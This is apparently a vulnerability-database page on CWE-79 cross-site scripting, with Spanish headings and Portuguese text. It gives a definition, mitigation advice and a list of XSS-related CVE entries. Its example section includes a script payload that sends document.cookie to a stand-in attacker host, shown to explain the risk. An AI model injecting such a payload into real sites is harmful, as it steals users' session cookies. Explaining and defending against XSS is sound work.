Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-11432MEDIUMSuevaFree Essential Kit <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 1.2%CVE-2018-0149—A vulnerability in the web-based management interface of Cisco Integrated Management Controller Supervisor Software and Cisco UCS Director SEPSS 1.2%CVE-2019-3808MEDIUMA flaw was found in Moodle versions 3.6 to 3.6.1, 3.5 to 3.5.3, 3.4 to 3.4.6, 3.1 to 3.1.15 and earlier unsupported versions. The 'manage grEPSS 1.2%CVE-2024-11388MEDIUMDino Game – Embed Google Chrome Dinosaur Game in WordPress <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 1.2%CVE-2021-39205MEDIUMDOM-based XSS/Content Spoofing via Prototype PollutionEPSS 1.2%CVE-2024-8696HIGHA remote code execution (RCE) vulnerability via crafted extension publisher-url/additional-urls could be abused by a malicious extension in Docker Desktop before 4.34.2.EPSS 1.2%CVE-2020-15178HIGHPotential XSS in PrestaShop contactformEPSS 1.2%CVE-2022-1347CRITICALStored XSS in the "Username" & "Email" input fields leads to account takeover of Admin & Co-admin users in causefx/organizrEPSS 1.2%CVE-2022-24917LOWReflected XSS in service configuration window of Zabbix FrontendEPSS 1.2%CVE-2019-1870MEDIUMCisco Enterprise Chat and Email Cross-Site Scripting VulnerabilityEPSS 1.2%CVE-2022-24919LOWReflected XSS in graph configuration window of Zabbix FrontendEPSS 1.2%CVE-2021-27659MEDIUMexacqVision Web Service CSSEPSS 1.2%CVE-2022-24349MEDIUMReflected XSS in action configuration window of Zabbix FrontendEPSS 1.2%CVE-2024-0509MEDIUMWP 404 Auto Redirect to Similar Post <= 1.0.3 - Reflected Cross-Site Scripting via requestEPSS 1.2%CVE-2021-21332MEDIUMCross-site scripting (XSS) vulnerability in the password reset endpointEPSS 1.2%CVE-2021-41249HIGHXSS vulnerability in GraphQL PlaygroundEPSS 1.2%CVE-2017-12288—A vulnerability in the web-based management interface of Cisco Unified Contact Center Express could allow an unauthenticated, remote attackeEPSS 1.2%CVE-2017-12272—A vulnerability in the web framework code of Cisco IOS XE Software could allow an unauthenticated, remote attacker to conduct a cross-site sEPSS 1.2%CVE-2018-0200—A vulnerability in the web-based interface of Cisco Prime Service Catalog could allow an unauthenticated, remote attacker to conduct a refleEPSS 1.2%CVE-2017-12304—A vulnerability in the IOS daemon (IOSd) web-based management interface of Cisco IOS and IOS XE Software could allow an unauthenticated, remEPSS 1.2%